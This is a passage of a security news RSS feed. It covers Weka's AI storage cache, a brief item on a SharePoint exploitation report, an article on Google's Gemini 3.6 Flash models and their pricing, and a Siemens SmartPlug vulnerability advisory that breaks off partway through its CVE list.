sits underneath: as context windows and multi-turn interactions grow, so does the GPU compute wasted recalculating work a model has already done. Augmented Memory Grid, a NeuralMesh 6 feature built specifically for this, is Weka's answer.</p><p>Every prompt triggers two stages. Prefill calculates attention, the core mechanism behind how large language models process input, and it's computationally expensive. Decode converts that calculation into output and is comparatively lightweight. </p><p>The cost shows up hardest in multi-turn sessions like chat or coding, where each new turn re-triggers prefill for everything that came before it, unless that work has been cached.</p><p>"If you have 10 turns, you may overcalculate 100 times because you're redoing all of them. If you have 20, you'll overcalculate 400 times," Zvibel said. "You can put two orders of magnitude more NAND than you could afford in shared memory, and we can cache 100% of the pre-calculated tokens, so you never need to redo it."</p><h2><b>Where Weka sits competitively</b></h2><p>Storage vendors have spent the past year and a half repositioning around AI, and separating genuine capability from repositioned messaging is now a real evaluation problem for buyers. </p><p>"The storage world is shifting its focus from serving bits to enterprise workloads to managing data at the speed of AI. We've seen that most clearly over the past 18 months from Dell, NetApp, and Pure," Steve McDowell, chief analyst at NAND Research, told VentureBeat. "The interesting thing is that companies like Weka, and VAST, are the true AI-native data companies, solving these problems since day one."</p><p>McDowell singled out Augmented Memory Grid as Weka's clearest technical lead. </p><p>"Weka continues to have the most technically capable KV cache implementation on the market with its Augmented Memory Grid," he said. " They were early with this technology, and continue to innovate. This is critical for AI inference, as it enables a level of GPU efficiency that, without question, saves money on GPUs and memory. That’s key for today’s memory and GPU constrained market." </p><p>He also flagged Weka's contractual guarantee on its data reduction claims as underappreciated. </p><p>"One flying a little under the radar: Weka is putting its money where its mouth is with its contractual guarantees for its data reduction promises," he said.</p><p>McDowell's advice to buyers evaluating competing claims from Weka, VAST, Pure and NetApp alike was pointed suggesting that enterprise buyers should look hard at what vendors are promising versus what they're actually delivering.</p><p>"A smart buyer will look at how competing vendors are solving real-world problems today," McDowell said. " They do this by talking to organizations running similar workloads at similar scale. If a vendor can't point to that, then it should be a warning sign."</p>]]></content:encoded>
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<title><![CDATA[Critical SharePoint RCE flaw exploited to steal machine keys]]></title>
<description><![CDATA[Hackers are actively exploiting the critical CVE-2026-50522 vulnerability in Microsoft SharePoint to steal machine keys and maintain access even after affected servers are patched. [...]]]></description>
<link>https://tsecurity.de/de/3684840/it-security-nachrichten/critical-sharepoint-rce-flaw-exploited-to-steal-machine-keys/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684840/it-security-nachrichten/critical-sharepoint-rce-flaw-exploited-to-steal-machine-keys/</guid>
<pubDate>Tue, 21 Jul 2026 23:04:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Hackers are actively exploiting the critical CVE-2026-50522 vulnerability in Microsoft SharePoint to steal machine keys and maintain access even after affected servers are patched. [...]]]></content:encoded>
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<title><![CDATA[US Marines' latest anti-drone toy is an AI turret that uses regular machine guns]]></title>
<description><![CDATA[Don't worry - it can autonomously attack ground targets, too]]></description>
<link>https://tsecurity.de/de/3684797/it-nachrichten/us-marines-latest-anti-drone-toy-is-an-ai-turret-that-uses-regular-machine-guns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684797/it-nachrichten/us-marines-latest-anti-drone-toy-is-an-ai-turret-that-uses-regular-machine-guns/</guid>
<pubDate>Tue, 21 Jul 2026 22:56:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Don't worry - it can autonomously attack ground targets, too]]></content:encoded>
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<title><![CDATA[Google's Gemini Flash 5.6 model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]></title>
<description><![CDATA[Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 p...]]></description>
<link>https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</guid>
<pubDate>Tue, 21 Jul 2026 22:56:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google DeepMind<a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/?utm_source=x&amp;utm_medium=social&amp;utm_campaign=&amp;utm_content="> today released three new proprietary AI models</a> it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. </p><p>The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. </p><p>Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. </p><h2><b>VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)</b></h2><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.5 Flash-Lite</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$2.50</b></p></td><td><p><b>$2.80</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a><b></b></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.5</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://docs.x.ai/developers/models">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.6 Flash</b></p></td><td><p><b>$1.50</b></p></td><td><p><b>$7.50</b></p></td><td><p><b>$9.00</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Kimi K3</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k3">Moonshot AI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. </p><p>While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). </p><p>Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">separate Google blog post</a>, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> being Google's proprietary AI code bug-fixing agent released last year. </p><p>As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. </p><p>One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, <a href="https://venturebeat.com/technology/google-launches-gemini-3-1-pro-retaking-ai-crown-with-2x-reasoning">debuted back in February 2026</a>, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. </p><p>Google technical staffer Logan Kilpatrick <a href="https://x.com/OfficialLoganK/status/2079592006163349538">responded to one such inquiry on X, writing</a>: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." </p><p>Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. </p><p>If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.</p><h2><b>Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks</b></h2><p>Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the <a href="https://x.com/ArtificialAnlys/status/2079596244339707956">Artificial Analysis Index</a> maintained by the independent third-party AI benchmarking group of the same name. </p><p>In specific long-horizon software engineering benchmarks like <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. </p><p>This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. </p><p>When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.</p><p>While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."</p><p>The official model cards released by Google reveal that both <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-6-Flash-Model-Card.pdf">Gemini 3.6 Flash</a> and <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-5-Flash-Lite-Model-Card.pdf">Gemini 3.5 Flash-Lite</a> feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.</p><h2><b>Respectable benchmark performance at low cost</b></h2><p>The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. </p><p>It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. </p><p>The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.</p><p>To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. </p><p>The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.</p><h2>M<b>odels for low-cost coding, agentic, and cybersecurity use cases — respectively</b></h2><p>Google divided its new offerings into three distinct products tailored for different operational needs. </p><p>Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.</p><p>Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. </p><p>As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. <a href="https://artificialanalysis.ai/articles/gemini-3-6-flash-3-5-flash-lite-halving-time">Artificial Analysis notes</a> this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.</p><p>Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. </p><p>Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. </p><p>The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.</p><p>The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. </p><p>In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark. </p><p>Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.</p><h2><b>Commercial licensing only</b></h2><p>The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.</p><p>An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. </p><p>This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.</p><p>The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6. </p><p>In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.</p><h2><b>Looking ahead</b></h2><p>Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, </p><p>the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.</p><p>Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. </p><p>Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.</p>]]></content:encoded>
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<title><![CDATA[Siemens SIDIS Secured SmartPlug]]></title>
<description><![CDATA[View CSAF
Summary
SIDIS Secured SmartPlug before V7.26.0310 is affected by multiple vulnerabilities in the components OpenSSL, OpenSSH, and several other packages as described below. Siemens has released a new version of SIDIS Secured SmartPlug and recommends to update to the latest version.
The ...]]></description>
<link>https://tsecurity.de/de/3684505/it-security-nachrichten/siemens-sidis-secured-smartplug/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684505/it-security-nachrichten/siemens-sidis-secured-smartplug/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-04.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>SIDIS Secured SmartPlug before V7.26.0310 is affected by multiple vulnerabilities in the components OpenSSL, OpenSSH, and several other packages as described below. Siemens has released a new version of SIDIS Secured SmartPlug and recommends to update to the latest version.</strong></p>
<p>The following versions of Siemens SIDIS Secured SmartPlug are affected:</p>
<ul>
<li>SIDIS Secured SmartPlug vers:intdot/&lt;7.26.0310 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.8</td>
<td>Siemens</td>
<td>Siemens SIDIS Secured SmartPlug</td>
<td>Improper Enforcement of Message Integrity During Transmission in a Communication Channel, Reusing a Nonce, Key Pair in Encryption, Out-of-bounds Write, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Integer Overflow or Wraparound, Out-of-bounds Read, Covert Timing Channel, Detection of Error Condition Without Action, Incorrect Authorization</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-23303</a></h3>
<div class="csaf-accordion-content">
<p>The implementations of SAE in hostapd before 2.10 and wpa_supplicant before 2.10 are vulnerable to side channel attacks as a result of cache access patterns. NOTE: this issue exists because of an incomplete fix for CVE-2019-9494.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-23303">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/924.html">CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-23304</a></h3>
<div class="csaf-accordion-content">
<p>The implementations of EAP-pwd in hostapd before 2.10 and wpa_supplicant before 2.10 are vulnerable to side-channel attacks as a result of cache access patterns. NOTE: this issue exists because of an incomplete fix for CVE-2019-9495.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-23304">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/924.html">CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-37660</a></h3>
<div class="csaf-accordion-content">
<p>In hostapd 2.10 and earlier, the PKEX code remains active even after a successful PKEX association. An attacker that successfully bootstrapped public keys with another entity using PKEX in the past, will be able to subvert a future bootstrapping by passively observing public keys, re-using the encrypting element Qi and subtracting it from the captured message M (X = M - Qi). This will result in the public ephemeral key X; the only element required to subvert the PKEX association.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-37660">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/323.html">CWE-323 Reusing a Nonce, Key Pair in Encryption</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-48174</a></h3>
<div class="csaf-accordion-content">
<p>There is a stack overflow vulnerability in ash.c:6030 in busybox before 1.35. In the environment of Internet of Vehicles, this vulnerability can be executed from command to arbitrary code execution.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-48174">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
